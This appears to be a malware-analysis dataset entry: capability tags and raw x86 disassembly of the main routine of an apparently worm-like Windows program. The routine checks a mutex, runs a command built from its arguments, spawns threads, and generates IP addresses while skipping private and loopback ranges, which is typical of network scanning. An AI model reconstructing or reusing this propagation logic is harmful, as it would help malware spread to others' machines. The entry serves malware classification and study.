Function at 0x442901
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push 2
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
call dword [sym.imp.MSVCRT.dll___p___argc]
cmp dword [eax], 1
jle 0x44299c
push 0x41cdec
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov dword [ebp - 0x114], 1
jmp 0x442949
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
call dword [sym.imp.MSVCRT.dll___p___argc]
mov ecx, dword [ebp - 0x114]
cmp ecx, dword [eax]
jge 0x44298d
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
push dword [eax + ecx*4]
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x43faf8
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
jmp 0x44293c
push 0xa
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
call fcn.004405e7
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x3e8
idiv ecx
push edx
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x43fafc
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
push 0x43fb04
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
pop ecx
cmp dword [ebp - 0xc], 0xb7
jne 0x442a35
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
and dword [0x41cda0], 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4418ec
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 1
pop eax
test eax, eax
je 0x442a33
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x442a1f
jmp 0x442a7c
cmp dword [ebp - 0xc], 5
jne 0x442a5b
push 0x4e20
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x40e2c3
call fcn.00440c73
pop ecx
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov dword [0x41cda0], 1
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4418ec
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x441415
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4424e6
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.004409bc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x442ad0
mov eax, dword [ebp - 8]
and eax, 0xff
cmp eax, 0x7f
je 0x442b10
mov eax, dword [ebp - 8]
and eax, 0xff
cmp eax, 0xa
je 0x442b10
mov eax, dword [ebp - 8]
and eax, 0xffff
cmp eax, 0xa8c0
je 0x442b10
mov eax, dword [ebp - 8]
and eax, 0xf0ff
cmp eax, 0x10ac
je 0x442b10
cmp dword [ebp - 8], 0
je 0x442b10
mov eax, dword [ebp - 8]
and eax, 0xff
cmp eax, 0xe0
jb 0x442b12
jmp 0x442b5d
cmp dword [0x41cd9c], 0x2704
je 0x442b36
cmp dword [0x41cd9c], 0x3e8
jl 0x442b36
cmp dword [0x41cd9c], 0x7530
jle 0x442b43
call dword [sym.imp.MSVCRT.dll_rand]
mov dword [0x41cd9c], eax
jmp 0x442b12
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x442408
push 0x400
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00440a39
push 1
pop eax
test eax, eax
je 0x442b7e
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x442b6d
xor eax, eax
leave
ret 0x10